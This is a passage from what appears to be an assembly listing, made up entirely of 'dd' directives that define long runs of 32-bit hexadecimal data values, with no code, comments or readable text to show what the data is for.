717862ECh, 0C9840F89h, 0C120120Dh, 0AEF529A6h, 6658D0FFh dd 5A0762F0h, 0BCB7CE27h, 9E2CAD80h, 554E3871h, 1E433580h dd 89366C48h, 21F1B700h, 0E4202A27h, 12320076h, 173BB405h dd 230046A1h, 95D202EAh, 7B86AF77h, 782F00DEh, 0A04EE95Eh dd 0F70325C1h, 1CA56AA2h, 5D7DE811h, 0D7100D6h, 0A79FC9B5h dd 0A43CC302h, 4D118032h, 81C27D8Ch, 0A33500ADh, 582AA7FFh dd 531EE2DDh, 0EA0007F8h, 5DA1F7AEh, 43453C2Bh, 0A300DE3Ch dd 9AADC233h, 98009C28h, 49FFFEC9h, 500CA8h, 0A4C5D458h dd 85AB09F2h, 0E11F1126h, 2956803Dh, 0C8EFAA70h, 0A00400D8h dd 2E5FC244h, 24008122h, 0B9FE1C0Ah, 3B1BD08Bh, 0DC00CC4Bh dd 1108B63Ch, 0F2009D91h, 5CF50238h, 43E7E3h, 0EC14180Eh dd 0A64CE01h, 3400FA98h, 38F91CA8h, 142FFCDh, 17D07EC8h dd 0E4F18202h, 0F090E7D5h, 0A6750CB0h, 6397DB00h, 0AA6D5C7Fh dd 0F638791Bh, 7867FA1Ch, 39EA0030h, 24B9BD84h, 0E50F72E7h dd 0D37505h, 8F5B2179h, 8D7739BCh, 366D7E80h, 0BD50FDF8h dd 8BD75400h, 87C9FEB1h, 42D03A7h, 26F0C698h, 0E1679800h dd 8E7659FCh, 577D00C1h, 5C9BA5D5h, 9713F140h, 3C00060Ah dd 64A86237h, 0B1D50389h, 31EB6646h, 0EC5B69C1h, 8D00C774h dd 0C00CB705h, 1BDEF29h, 54C54739h, 87F028C8h, 0E757D314h dd 0C5052F05h, 0B5009E08h, 0AEF9C5E0h, 6F0200AAh, 94888FDEh dd 5315C42Ch, 1D9058D5h, 24408D31h, 0A0059B9Ch, 7D5B00F1h dd 36BDB475h, 0C00A159h, 0AFDCF8D6h, 0BA078Fh, 0A86C7461h dd 2FB29C50h, 46CCF300h, 0EFCBF1B1h, 88EB0051h, 0E159D3Bh dd 0A101C5E5h, 525C9227h, 9ED1D13Dh, 501F1080h, 0F9D41DFBh dd 13729300h, 0E61756C0h, 38294C5Ch, 1AFE5A00h, 0CB7C5E60h dd 0A7ED4500h, 449E12A6h, 64DC48A9h, 3132CC0Eh, 6C763600h dd 780F30D2h, 75276Bh, 7B9447AEh, 0CD611E25h, 4B8A8098h dd 9C8867B6h, 355B83Ch, 2B8E7730h, 495E8879h, 0CA233924h dd 0E8267001h, 0CC4A2545h, 0D3011F37h, 0B83BB5A9h, 40CE56B6h dd 50E7D4E0h, 7D7449h, 9AB4BD83h, 0BEC8219Ch, 80F88900h dd 1D11E456h, 0F5B832h, 16877E1Bh, 45A908DAh, 0D5CC2E00h dd 7F28297Ch, 0FF9ECE1h, 89DDD266h, 0E295AA21h, 0E07DDC5Dh dd 6BF7000h, 9CCB16F2h, 444502DBh, 48354C80h, 1C55A8C0h dd 581EE207h, 18A06098h, 38F31B81h, 2284E49Ch, 83DA0FF9h dd 79D80190h, 4300E595h, 8DD8D9B4h, 1E262FE4h, 40935BD3h dd 366A497Dh, 44004D61h, 0FE700D8Ah, 9F4E7B0h, 8FF5DF2Ah dd 5E2D3480h, 0B3E8D499h, 0D37DA000h, 8426A597h, 4C8503DAh dd 9B41240Fh, 25A9FC88h, 7F4D6000h, 45A29051h, 0A8010080h dd 5472360Ah, 43000D31h, 0FD74ABADh, 0BF6563h, 0ED97DBAh dd 8141E56Eh, 85EF2001h, 13DC5A17h, 19D6FCh, 723B9B3Ah dd 705BC15Ch, 0DB3CC61Dh, 4536E70Eh, 0A834519h, 74818D3Fh dd 54FC5DE0h, 0E2FED3h, 697C3506h, 0F93D7996h, 0D2D2300h dd 0A8D342C2h, 0B5D800AFh, 749F471h, 0DB008905h, 0F2DEC798h dd 71A9A10Dh, 0B92E01AEh, 38AA6F60h, 692C70E4h, 0E304D500h dd 80B9219h, 0DA953FC1h, 45F9C917h, 806AA040h, 0A8F5E540h dd 2501F000h, 56BDF150h, 0EF7CA9h, 69387467h, 0F9FA8CDh dd 0BF5A7C0Bh, 0B54881D1h, 0F930DF7Bh, 0C6700EBh, 8056AC1h dd 0E63D58E1h, 7C063BAFh, 7E6F930Bh, 5478A4B6h, 0F07930C0h dd 7C3800F3h, 4DB10BBh, 9906CB2Bh, 0F209D43Bh, 462C00A1h dd 6DE5F677h, 1500A90Fh, 0FD9156E2h, 3C53D01h, 1F1E4434h dd 0FAC8E327h, 0E600DF8Bh, 160C5CE5h, 3AC0940h, 83240EC8h dd 0A2907CCDh, 3600E39Dh, 6BED7DFAh, 76E8D67h, 571476AFh dd 0D4E8407Eh, 0B9000A4Ch, 0D13EBC8h, 3A7CBEh, 2731F636h dd 1BF0D1BCh, 0A6A9D800h, 0ACE96EDDh, 3DFE7338h, 0A804281h dd 28D91C8h, 0F5001470h, 3DA20F5Bh, 404C08h, 0E8C2243Eh dd 1DAA4BECh, 0DE900103h, 0B0C4AE2Dh, 0EDE6FEh, 76B9EF4h dd 0A865CCBDh, 0B0B840FDh dd 7F14E920h, 90EBDBh, 83A84A4h, 770EB766h, 7C5A3A8Ch dd 20FFD018h, 0B200C4C7h, 0B0451C0Dh, 60E61Dh, 9D462A03h dd 35473BDFh, 0ED06090Fh, 4011681h, 0E0F1E73h, 85E52025h dd 88770h, 1C6CA321h, 0E10C454Dh, 30CF357Ah, 3F62A32Ah dd 3A8FD814h, 63580082h, 0F8CAD681h, 88049EEDh, 355CEA9h dd 51030014h, 0AC69D107h, 8CB31100h, 0BF7DADFEh, 0E95C2F7Eh dd 9430FF50h, 0F76820C5h, 0FBE600ABh, 0C2DA1159h, 383EBE96h dd 42809EF4h, 0D19B3640h, 561A86B1h, 0A70190D4h, 4F6607DCh dd 0C0370CA8h, 0B2BD8AE1h, 0F5282307h, 4F03C00Ah, 3F3A2F19h dd 0E299B8E8h, 0E090923Ch, 2DD000A3h, 0F9C1864Fh, 0FC746B7Fh dd 20B9A530h, 3DD30F41h, 4B812694h, 17A91403h, 752D42Eh dd 0C16F4F1Eh, 2B3710B0h, 4D541CD5h, 5F5C7A7h, 0C5C8C03Ah dd 3600DB5Fh, 0F8C1981Dh, 8A4A8Dh, 12FF8B4Fh, 0A7881BEAh dd 5ACA8400h, 222B74EBh, 0AF0B005Fh, 7ACDB507h, 0F47886AAh dd 0F2BE6100h, 334CC941h, 7EF100B3h, 2C847DF6h, 5700024Fh dd 65EE60D8h, 0F645121h, 0BAF26F23h, 56450F20h, 8E134076h dd 9903204Ch, 0F0B637F1h, 301AF0C5h, 0AB1948B7h, 2404BD14h dd 0DE477331h, 0DDB24320h, 33E1990h, 79820322h, 0F9EC966Bh dd 53608558h, 997B03D7h, 0F2416B2h, 0D3F09AABh, 600092CFh dd 0D44ACE6Bh, 0FC54DDh, 2BD2550Dh, 1F516E3Eh, 7DABC901h dd 74944FF1h, 1FE24CC4h, 808A630Dh, 427E5CFFh, 0BAF80475h dd 1E39EF17h, 7CFF14h, 7D1249F6h, 18A1E276h, 104A2E88h dd 790046A6h, 1457D23Fh, 0AEEF82h, 8B9F1DBEh, 0BD8B5ADh dd 0F2BF4B00h, 0B45A3CF1h, 7B453874h, 16A8C700h, 96706222h dd 9C4FD618h, 802008h, 0CC094CA2h, 9E3BD98Bh, 0B80C0B00h dd 919897C2h, 133D3BF1h, 0EEB8FEh, 30456967h, 0A76E50E8h dd 8E04F907h, 0D4F0DC83h, 3509EDh, 0F43E34BAh, 43FEA570h dd 0D5F114B8h, 497F2A7h, 5A48CD61h, 12D26083h, 6AE856ECh dd 0A1003108h, 0D4A4470Ah, 6721C4h, 0B3A04F5h, 0CBDC5D74h dd 0A698830Bh, 316A807Ch, 0FA0965F7h, 6E45009Fh, 13C39B54h dd 0C03F830Eh, 912A8099h, 144A6AA4h, 627F0E98h, 7760511Dh dd 2DE4BFB2h, 0B99F431Dh, 0F8D25C87h, 0C294AE60h, 1C4DE68Bh dd 9DD761h, 0D0F2E56Ch, 2C1CAC80h, 0A040EEDBh, 92E72E83h dd 0BFAD0E90h, 36A0CBE8h, 2C2F0D35h, 420094E6h, 508E4867h dd 0BF52B66h, 0D8EB62C0h, 57001C0Fh, 8EBF1255h, 0CE707E00h dd 79B9CAC6h, 26EC0E82h, 1021194Bh, 0E8B220A6h, 1438F411h dd 98FA0F0Bh, 9000176Dh, 3CA4B707h, 692A0E44h, 0FDC0B319h dd 8478C36Fh, 0CE562201h, 0E0A043E1h, 34961D8h, 9E2381B1h dd 0EBC37B08h, 26B359C8h, 45A1A41Ch, 0EE4D2DC1h, 74C44ECFh dd 0DF9E007Dh, 0C619814Ch, 0EC001D95h, 6993133Ah, 7D0377Fh dd 0B1F4BF99h, 0D3155239h, 7B9DAD40h, 0A6DE7D02h, 8048AF7Eh dd 0BC6286F4h, 0DAB800C8h, 0CBB4AD97h, 0F9068267h, 72F493EFh dd 90E00511h, 0C033DE7Eh, 49FC3779h, 61A7402h, 841EACC1h dd 249191D5h, 1CFCCB85h, 38E0906Ch, 28006623h, 0A78BBA7Bh dd 95005CB2h, 0B001E8E3h, 0BDFFFh, 0CF2E9EFBh, 30408159h dd 0C6E7DD00h, 6D774F42h, 488E005Bh, 0C93E1435h, 49FEFF20h dd 244EDF00h, 0AECD950Ch, 0A3C33A32h, 3503A600h, 0E6292ACh dd 0FB12B61Fh, 9D4FC000h, 0D0C783h, 0B823D1Eh, 966F2D59h dd 28D79C01h, 8A703875h, 10CA3E0h, 0AFB4E9F1h, 0F0DC616Dh dd 73272D45h, 9B976020h, 0AD7C0040h, 117AFBFDh, 1EEEC5AFh dd 0C80E200h, 7D352515h, 0DD660730h, 30A6C4ECh, 918BDF5Eh dd 0B868B914h, 7040094h, 0E55D4FAh, 1EA20051h, 390845B3h dd 1328A4D5h, 2007DD2Eh, 0FA19A733h, 0AAC05137h, 6BB35Bh dd 0C2ABFF18h, 0CCDFE267h, 0F2D8EC01h, 0FC708D6Fh, 3E9962DCh dd 0E081C306h, 808AF08Bh, 2CB7C89Eh, 0F3F61300h, 4E0FB11Dh dd 51963F3Ah, 61A6DA02h, 0C403CAAh, 0B5798A13h, 66AE9000h dd 4D0AA340h, 0D88F0FC2h, 0ADA00BE8h, 35A2E4B9h, 0FF849500h dd 62BFDBFBh, 0D14600C3h, 0F6053EA6h, 0E0005728h, 0A1B29842h dd 1DD873DBh, 0EFB091h, 9A43CE3Bh, 90F6C5DCh, 644AFC00h dd 0F9EAA7E6h, 3C25004Ch, 0B5C8CFCAh, 8A017C22h, 0EF9E6753h dd 0BBECB88Eh, 41EB1331h, 2339063Eh, 9B00A012h, 0F4ACA5A6h dd 0A210B4h, 0A79C1F65h, 94222FD4h, 864D3400h, 0F4A8DC79h dd 6A530029h, 78084F01h, 341DD589h, 41035EE8h, 0C803EF02h dd 38596657h, 0A601BC28h, 6F1EA5D2h, 9017C0B6h, 0CB1D1301h dd 0B4823478h, 122F8BE4h, 7099B5h, 9CB3F272h, 0C5002932h dd 0F40FF16h, 0F7F4EAh, 19D16D2Ch, 0ADD52003h, 5001C500h dd 829C29BCh, 8BCC58A7h, 48782700h, 98DC7CE5h, 33EAE400h dd 0BAED161Eh, 27C000AAh, 3AC9E83Eh, 2C9090C4h, 97E44Ch dd 84DBF6D9h, 401B00Eh, 0EC2205F0h, 4487EED0h, 201E6390h dd 55DD00A3h, 2FBB7E29h, 1600EE17h, 0B9980D77h, 0E56CC3AAh dd 0F9D045EDh, 6392007Eh, 72B6A191h, 0DC00D270h, 0A7B214F2h dd 97CB55h, 51BEF407h, 76243EFCh, 0AB55400h, 39F93109h dd 40F4FEh, 0EB923FEAh, 0AC0157F3h, 5D45DB00h, 565F6C41h dd 0DC490564h, 0AC168073h, 5A4D000Fh, 0E390176h, 0B9B8ABh dd 0F0AEDA45h, 7B5FB85Bh, 5AEF510Bh, 43D8004Ah, 0C62F58h dd 0CE06F84Ch, 54C370B1h, 0DCBD600h, 9BD30E3h, 3781027Ch dd 288BF773h, 8C346EC0h, 0F39CF90Fh, 0E29884EEh, 0D7505081h dd 0A073DD4h, 0BD6CEC54h, 0EA3002A4h, 24409561h, 171EBE7Bh dd 11C0ED25h, 0A823ECDEh, 971D009Eh, 0ABFDDC57h, 1830F781h dd 0B293A0D6h, 0C7B1D5Bh, 0F260078Eh, 0CB41632Bh, 2192ABE0h dd 0A6008076h, 4759EB28h, 774BC56h, 13364322h, 6C3C709Ah dd 99005B66h, 0ECC1348Bh, 3BE6E04h, 8617286Fh, 56809BB5h dd 5300A07Dh, 2B807069h, 147816h, 1FBE071h, 44F9F437h dd 0AD2F5B00h, 73FD81CBh, 68961DD1h, 200FBE9Ah, 0D9A0D8FCh dd 859E6566h, 89F16E02h, 0E0F42412h, 0E2A3A29Fh, 8B213DEBh dd 0BD0DE00h, 5383D297h, 0D803D1F2h, 47ED0EF0h, 0BFC180F8h dd 134300A3h, 0DEB54B78h, 68006B42h, 16E5DA5h, 0E2FC15h dd 518E6D30h, 5FA94CE1h, 4247F900h, 0A65B224Dh, 20E2C1h dd 0DCBBBD43h, 53B80B0Dh, 0ACF4E500h, 1385E18Fh, 0C2E01Fh dd 775A2D43h, 33025994h, 7ECABB0Eh, 0F7E3A7CCh, 0EE1CCB80h dd 0D171009Dh, 0C24C9942h, 0A43F4A7Dh, 74568031h, 27BDC628h dd 8F361F15h, 0E4FE6D1h, 0E307A3A0h, 16D2F09Ch, 8E0F0D86h dd 0A56723h, 8FB52891h, 6A3A0024h, 75E13BB6h, 5F7EC745h dd 48D26400h, 340CA052h, 0F142007Fh, 2D38A199h, 0F5E2A446h dd 0AF889A00h, 42495664h, 0CDDA00CCh, 0DDFD8472h, 613C571Ah dd 92FE00A7h, 9E8745A9h, 6B2B00ECh, 9699B665h, 0B0DD9874h dd 0AAFCBE80h, 4AEEA2h, 4BDF53CFh, 789CB808h, 6454BD00h dd 96DB27DAh, 99610039h, 295715C0h, 6200E83Fh, 6682B088h dd 1DE050D4h, 8027DFEDh, 1954DA80h, 0D80C2655h, 9931361Ah dd 2279829h, 0AB95E30Bh, 2C968A7Eh, 0CB6C4D00h, 0A12E1F8Ch dd 204B5035h, 5FC201D1h, 424E28D4h, 8655E03Fh, 701BB20Ch dd 7CA2056h, 0DC1F53FEh, 9F808C6Ah, 1E7D9658h, 5002B02h dd 99828806h, 19551D4Dh dd 4796C6D2h, 0D81E40A2h, 744009DFh, 713C1497h, 0DBED09B5h dd 0F589BADEh, 994DB08h, 5E01C184h, 0D08856D7h, 0E101EAF8h dd 5DF5CC30h, 8E4043EFh, 7812A6Eh, 2D3BA046h, 805F77E9h dd 0DBB592D5h, 0EEA67C00h, 2B0A75D3h, 0CFE83F9Eh, 0B40D2203h dd 0BC909681h, 0EF00AC15h, 106A510h, 5C4CE0F3h, 640E34E7h dd 6F63D75Fh, 31F81405h, 8500F208h, 609A8F42h, 5F490AFh dd 0F7C14083h, 2AA001E7h, 0D0D4EB70h, 0FF00BDE8h, 13CEF51Fh dd 0E073B56Fh, 524C0633h, 30213998h, 0D700EF7Dh, 20923112h dd 66EC50h, 6DF4C6E1h, 8609EA4h, 0FF011E73h, 0C3D06FF5h dd 0E83015CDh, 7F4014E2h, 380ECC1h, 5B04894h, 0A8595000h dd 0EAFA3616h, 925479A0h, 0C9F8E114h, 747100F3h, 0D05A467Bh dd 0B400AA98h, 0FD68F988h, 0A8B28BB9h, 7B0A3D4h, 23500913h dd 0A783E793h, 36FCD025h, 1901D3EFh, 5D0E9235h, 45C86FCAh dd 0D72E0061h, 412968B6h, 4A3AABC2h, 0B9CC01CBh, 17D03655h dd 0EC641CFCh, 154800FDh, 0E0763004h, 88A0E892h, 0B2004D0Dh dd 778ABC8Dh, 339FD9h, 7D7684ADh, 0A97E8F93h, 0AC980F0Fh dd 0F7E978h, 12D5D38h, 9E57307Bh, 3FAD8926h, 1340F0DEh dd 0B8A6CC37h, 6CAF3F09h, 8D6AD687h, 60235391h, 8CD4B9h dd 634627DBh, 0FD493855h, 84BC45D0h, 6AB0B150h, 0D31D6B01h dd 0CEE43731h, 79810D8h, 9A4719FBh, 8F35500Eh, 0DE00C3BAh dd 7822921Fh, 3D41CC74h, 96800F1Bh, 0B22A345Ch, 9224F6BAh dd 1A00841Ch, 5B36D6F3h, 40450062h, 436DAAABh, 960082A1h dd 0A85833E5h, 3C12BCh, 0E47998CEh, 68CC02F0h, 0E69D5606h dd 1C2853F3h, 4063900Bh, 0B8BD8FA6h, 9275CD71h, 27BE2E07h dd 2531E36Bh, 3F05AA9h, 8430F973h, 29F7037Ch, 0BF3659E1h dd 5A13480Eh, 2C0F209Ah, 0ECC99h, 4260D21Ah, 68D39E39h dd 4EDF8C00h, 0A83A2912h, 60847C58h, 9FF29DBh, 945B54ECh dd 60A25B0h, 0A1396761h, 783961A2h, 5C950091h, 86E92307h dd 984E03D6h, 769B7309h, 9DBACD90h, 75A1C8F3h, 38549F30h dd 71BA33Ch, 0E2B9D0F5h, 0ED445323h, 36B824ABh, 9B005A45h dd 857E46A1h, 769D9Ch, 0E4F0CB4h, 383CFF49h, 0EA00D476h dd 1ABD47E5h, 1343BA02h, 1E6CD5Fh, 8DCEC73Ah, 0C337DD81h dd 0C4E865B0h, 0A8005C79h, 7191A9B1h, 70F0E5F5h, 0FC70232h dd 0C892098Fh, 3510209Ch, 99C16871h, 0E018A07Eh, 9B7B25BDh dd 8CFD2F00h, 21C50320h, 53C20137h, 95C78BB5h, 0CE688306h dd 908DAF7Dh, 0CCA89Bh, 0B82A0C92h, 0F647D525h, 4D9A4000h dd 9D604F0Fh, 282B021Ch, 0B5DED71h, 0CB7AD981h, 0A3088747h dd 6FE38522h, 0E0788226h, 88B356h, 7479F649h, 0D5BBFF81h dd 4B3BA37Ch, 65EB806Dh, 1D12429Dh, 170E0680h, 50C5A2D1h dd 94189B07h, 450BEEBh, 0C031FD92h, 3687A2B0h, 7D06F55Dh dd 0E5E4ECC9h, 99A13FB8h, 148C3903h, 0C81B3FEh, 0C8805CBCh dd 0BED37D08h, 0C598D8A8h, 0D50082FEh, 67599D6Dh, 0A7BFE27h dd 1D2C3848h, 0DE2883F0h, 0D5F8906Eh, 5200FB33h, 5B655D85h dd 799179Ah, 42F2DD13h, 30ABB72Ch, 95D3800Eh, 0D93F7302h dd 60941BF1h, 9D6135h, 0CD83C02Eh, 8951560Eh, 20A13E29h dd 0DB4C66C1h, 360ED90Ch, 602A9C76h, 0DFA7FB10h, 0ED070AECh dd 87D0056Ah, 0D0A2F566h, 3F86CED5h, 0BD59CC1Dh, 0BE263BC5h dd 0FDB8C803h, 0E84F905Ch, 0A21D01F7h, 0EA1E62A0h, 0FE16E458h dd 714BDA03h, 0F8A915DDh, 5499093Ch, 305FCA5h, 30F8A602h dd 7A06D55h, 4F0BBAE6h, 56709FB0h, 0D2800CB5h, 9A0939D0h dd 56155B52h, 3140300Eh, 0C50955B2h, 339D6Ah, 5C5DA724h dd 90300170h, 275B7EBh, 50E8D721h, 0C2B020E7h, 470E8177h dd 94EE5DC6h, 80C33824h, 43F4B22h, 0A2EB64h, 9E5CFA8Dh dd 7249954h, 0E4F8347Ah, 0A9120800h, 164450ABh, 980B0E52h dd 8D40AD46h, 8C2155A7h, 11FA3100h, 974A3AA2h, 0B2122415h dd 1C830F2h, 7A30A1EFh, 1B9E38AAh, 77F1078Eh, 0C0E17058h dd 0ACCDED3Dh, 24C69300h, 0E3557C41h, 8BB1265h, 0C3A000A7h dd 7BF3DDA3h, 91A12100h, 0E6C9478Fh, 84DE1FE0h, 2A9BC06Fh dd 0F690A61Ah, 30D73400h, 0CD6C4938h, 157D9Dh, 5D0C451Bh dd 241D53E9h, 81E3751Dh, 19563600h, 3E86052h, 5C43D73Bh dd 1903396Ch, 77E9427Dh, 3BC9A061h, 0FABA00C6h, 863E2FBDh dd 4A038D1Ah, 3DF56993h, 0B0BCD045h, 0C07CF616h, 3CF06530h dd 9B000CB5h, 4480D593h, 269D68BAh, 0EAACB3h, 37D99E78h dd 0F73053A2h, 8307D976h, 0AC994CDEh, 0F20E1700h, 7BA4AC36h dd 0F91D5807h, 0FEF0AE4Dh, 1202A5h, 59E470Dh, 0BEFDC776h dd 0C1301C77h, 20CB4EE5h, 0B0374C8Eh, 0E46316h, 500458B2h dd 2B0FD154h, 0EE2F310Fh, 270E40CBh, 7B9D5DCh, 40321E85h dd 4F9A033h, 420163EAh, 0AE2B1FCCh, 52E0230Ch, 908EF064h dd 0D5F01DCAh, 60F34120h, 80B408F7h, 19F9C54Ah, 3BEF4h dd 0F61CFE4h, 1E5F4F2Ah, 0A83E0828h, 0FC4CFD00h, 0AE6C6DC6h dd 0E1620091h, 1F3F071Bh, 76268781h, 7C03AD35h, 0E950A9h dd 5F101C88h, 0A581A2Fh, 0FC312603h, 80F9BDB5h, 281EE827h dd 3C07ED5h, 770B3DC8h, 3BB34F6Ah, 0ABD407E0h, 43D0B718h dd 2FD680h, 0AD2DAF96h, 0CA19BBF9h, 6F394904h, 880E552h dd 83378Dh, 41355FB1h, 0FF9880F4h, 6B49BE00h, 0A6BDE491h dd 2200024h, 0B6530E77h, 0BE1C9D6Ch, 57010725h, 5408A483h dd 0E72102C7h, 16306EC1h, 0CE6B240h, 0E4649600h, 0A70D2B28h dd 3493005Bh, 46D5C28Dh, 0E6007567h, 1C823D39h, 0FDF71h dd 0E7A7162Dh, 0F17E989Fh, 533AB81Eh, 0DF54DE80h, 32431F4h dd 0AA6C78E3h, 8BF9195Eh, 0F320806Eh, 751FEE14h, 99FD286Fh dd 12C300FFh, 0DD87F694h, 81C0E93Ah, 0D64EBB53h, 2D6403C7h dd 18849AE5h, 12B637D0h, 32B29600h, 13FD33DBh, 14B97CB3h dd 209D78F7h, 0DFF93F0Fh, 2D9F5340h, 1E0A445h, 0C0DE4130h dd 0A4288A54h, 0F4ED025Ch, 3C132463h, 0B92264E3h, 82791C77h dd 0C48D00F4h, 0E1F95A23h, 0FB2A48h, 0A6FCBF8Bh, 3ED5FDB7h dd 0B1B0473Fh, 64695990h, 17122900h, 3CEDA463h, 0AE6F001Ah dd 0A0F18CFEh, 107631C8h, 56339A00h, 0D3F66B61h, 6CE20030h dd 39362262h, 0D00307B0h, 9BC1BFF7h, 690890CEh, 0A4FD00ACh dd 0F4A1BD0Eh, 3103BB91h, 8BA79E54h, 0FCD78806h, 0C6380076h dd 7AEEDD5Eh, 6E0001CDh, 0DC2F8580h, 3D82FE9Eh, 32804319h dd 410A4F28h, 9307C92Dh, 74A215DEh, 0A870B890h, 913B0079h dd 277CC8EFh, 8A01AF4Bh, 73516825h, 86DC95E3h, 0C16B1F15h dd 494601A3h, 0FC5A922Ch, 810038E7h, 14A5805h, 0C0267923h dd 86FDA420h, 0E810D389h, 0E50CDB22h, 1B598516h, 8AC69600h dd 75361F30h, 41F8A0h, 892EF40Ch, 77E44C43h, 9F0088FCh dd 0A3908AC9h, 3DC2893h, 164D27FEh, 7CE0AC9Ch, 1C266CAEh dd 700FEEAh, 1A655AF5h, 0C31D5C88h, 0E580C207h, 0B59D6087h dd 8409BF27h, 204339h, 0AC7C794Eh, 3DA1C38h, 0DB4FC0F4h dd 0FA7BB4EAh, 62EF2800h, 0FC367216h, 24303F91h, 53517680h dd 7B5FE9CFh, 40222907h, 0DF84A1h, 90DF6D86h, 0F657008Dh dd 0B062B658h, 0C1ECE8ADh, 43D37300h, 0E4523189h, 0C0C707FCh dd 1A4C4227h, 0CB5D00C6h, 99E60C30h, 0D5983Bh, 99B38DDh dd 0E242C778h, 292C00F2h dd 0EE11C1FCh, 1900D75Bh, 0ABC83773h, 751EB8h, 0EB586C17h dd 0BEC93BDBh, 0CA70F502h, 612C4A8Eh, 0D0E329EBh, 37ECC5D5h dd 5020C6F9h, 9F8EB18Bh, 0E9181300h, 0FDE3DD31h, 30E5003Dh dd 1DBC97CBh, 0DA18B6E7h, 1870769Bh, 29583492h, 6CE18058h dd 0C3003F6Bh, 73013630h, 0EFDC16h, 85643991h, 0E08F70B9h dd 2674AC00h, 0ED66E97Fh, 8D2D0042h, 0BEAFFCD3h, 960013E3h dd 0B6A0B499h, 0A4D94110h, 1300418h, 60851E33h, 0ACD94379h dd 0FB5582Ch, 314022Ah, 0BB03FAD9h, 9150A50h, 8330C2B8h dd 0BAFA73h, 0C4941E39h, 245D79B9h, 65B72A1Dh, 0A1648A14h dd 1C4CBDCDh, 5A090319h, 0A12CCA29h, 0E0DB0815h, 69C38138h dd 0F90CFCD3h, 30E2D02Bh, 0E3C77508h, 12A85159h, 6105F36Ah dd 8C2690B6h, 0E3039C68h, 393490DAh, 401F6834h, 8A682384h dd 4218EE94h, 0F882DA99h, 64B868EAh, 85431D63h, 9EEA0C00h dd 215BE1D4h, 0E5645C07h, 0D760FB6Fh, 95BEA4h, 677899EDh dd 0C10572Fh, 92874A1Fh, 0D931FB40h, 5423BECh, 0F1C17106h dd 7920223Eh, 85F7035Fh, 0C840007Ah, 0D92A0C1Dh, 1B7BDA3Dh dd 0BBE38D00h, 217E1C61h, 1140AE92h, 62A7587Dh, 9C8A41h dd 0BF3C543Bh, 88037B37h, 7EB6F040h, 8023A81h, 5BC44852h dd 0FF6A707Fh, 0A80AD27h, 61400525h, 0F48935CAh, 340ABC5Bh dd 88849BBFh, 0A92DB1Fh, 0AD19BC06h, 2D950EE0h, 8CA53BE1h dd 290FBBE3h, 8B7201BFh, 3859417Eh, 947BA085h, 0AA3823CCh dd 0F01D48EBh, 0BB1F80CFh, 0FB00871Eh, 7BE1D646h, 760DF11h dd 957EB05Eh, 0C56470C6h, 398C99E2h, 0BD1D9B0Ah, 7BD0703Bh dd 0BF5A3D72h, 0E30A23ECh, 0E250C6FBh, 0EA388F53h, 0BF991EA9h dd 0E1C04EBBh, 0E940248Ah, 7EFCAD02h, 914A1CA0h, 0A838773Bh dd 0D4F08A23h, 0A6EE38CBh, 2399273h, 2A5E945Dh, 0A48AA330h dd 10905318h, 0A6309B14h, 0CBAD10EDh, 0F6FE016Ah, 0ACCA596Bh dd 3C1C0B8h, 0D408C061h, 0C44B1D6Eh, 0BD683E07h, 308F875Eh dd 0E6548AAh, 67635091h, 54DFB8Fh, 63C10A29h, 14802CD5h dd 0C5775218h, 2BA8EA29h, 8360D567h, 297381DAh, 404A293Eh dd 588FFDDBh, 8071991Bh, 0B67C5F2h, 392A8069h, 0B241A8C4h dd 0DAD200FAh, 0DA10F90h, 58F19774h, 140A7720h, 0AC097F29h dd 5A3B8A00h, 60F99BDBh, 6ADD3089h, 440AE10Eh, 6CA1080Bh dd 0E70D77C0h, 661F00FCh, 88ED56C3h, 0C000BAE4h, 86CC64ADh dd 2CC4A305h, 57F491h, 36C15F9Ch, 0E40E96F6h, 0EA613F7Ah dd 0ACC018BBh, 6BCB6341h, 3E005802h, 20C96C60h, 696EE000h dd 1B3787C1h, 1B1CA6D7h, 5E7AED35h, 3C763804h, 4F836C6Eh dd 0B009AA20h, 10E7EE18h, 10173A6h, 639FD2D6h, 144CCA89h dd 7CB81DE3h, 0C15980F9h, 5B8FF7B6h, 0E50610A8h, 0B29C3E10h dd 5E311603h, 8FC0896Eh, 2353C962h, 0C3A00F28h, 78DC6C07h dd 6BE005F6h, 30F0297Dh, 97B19C2Ch, 0B02BD42Ah, 6EE88815h dd 6779C150h, 51823B13h, 6EFAE236h, 0D9CE0C16h, 96294412h dd 6ED5EA00h, 976970C9h, 6A983AFAh, 27779A0Ch, 9E3A7A68h dd 0A32E0B5Bh, 0AE210564h, 0AB703C20h, 761044EFh, 6D81F803h dd 0A3827749h, 5A6AB029h, 3FDE0309h, 4C44A964h, 4CE869A1h dd 8B1C6860h, 0ECC01063h, 0B323D6C1h, 749A56E4h, 1AD3AB0Fh dd 0B612B4D5h, 89084206h, 50B86C7Ch, 110FDA7h, 160C2CD9h dd 1C90A9ABh, 0D129BDFCh, 158030CBh, 0B67C549Dh, 0F6C10E5Ah dd 69A5AFDAh, 0CD182C45h, 5E594C0Ah, 1D8CD0DEh, 0D4849001h dd 27B03868h, 46203547h, 0F2360A2Dh, 0E074E77Eh, 0C714839Eh dd 8AD41B54h, 0DB33FF07h, 5B410560h, 7BE1EF17h, 0DB06A44Ah dd 0C1610870h, 0D81A7619h, 1D2D330h, 0E130414Ah, 480C2739h dd 0F232648Eh, 0A0B88490h, 0D31B032Ah, 59BBCD5Ch, 0D9B0800h dd 357AEC21h, 0BAE13F30h, 617C66BDh, 4D1B60C1h, 0E845D2F8h dd 0D6AC4281h, 0B600DD78h, 0CD0C2ACFh, 50D12E7Bh, 0E10B0770h dd 402F95DAh, 0CD5F931Ah, 7FE01B01h, 0D8385B0Dh, 76A18887h dd 1F94C336h, 0DC8C901Fh, 34675B00h, 63B93B33h, 0E2AB1008h dd 0C0AA82E7h, 85D72702h, 0A400ED84h, 0E26C40BBh, 13140F5Ah dd 0FA0CDAECh, 9B3A7040h, 0A09C4837h, 24FFC76Fh, 81F0A8FAh dd 1BCF45FEh, 8109BA92h, 0E4DAE06Ah, 0B8D0E27Bh, 0DB361463h dd 20749076h, 1A040C62h, 0E87AE13Eh, 0DCE46170h, 701FBD20h dd 0E0F263F6h, 0F87301EAh, 3AE25400h, 7A95298Ah, 90103AADh dd 1AEC6A61h, 99C50FCh, 9B183673h, 0CBF006CEh, 4C049819h dd 491108A8h, 73FC139h, 0A824D2C2h, 335D0656h, 78E37BCFh dd 0F898FB28h, 1602FA19h, 0FC42A710h, 16865DAh, 0BE765B2Fh dd 3648808Bh, 0FB286949h, 0BB90A11Bh, 5BD139F5h, 0F02AA7C4h dd 5230F98Eh, 0E196047Bh, 8197ED3Ah, 40228C28h, 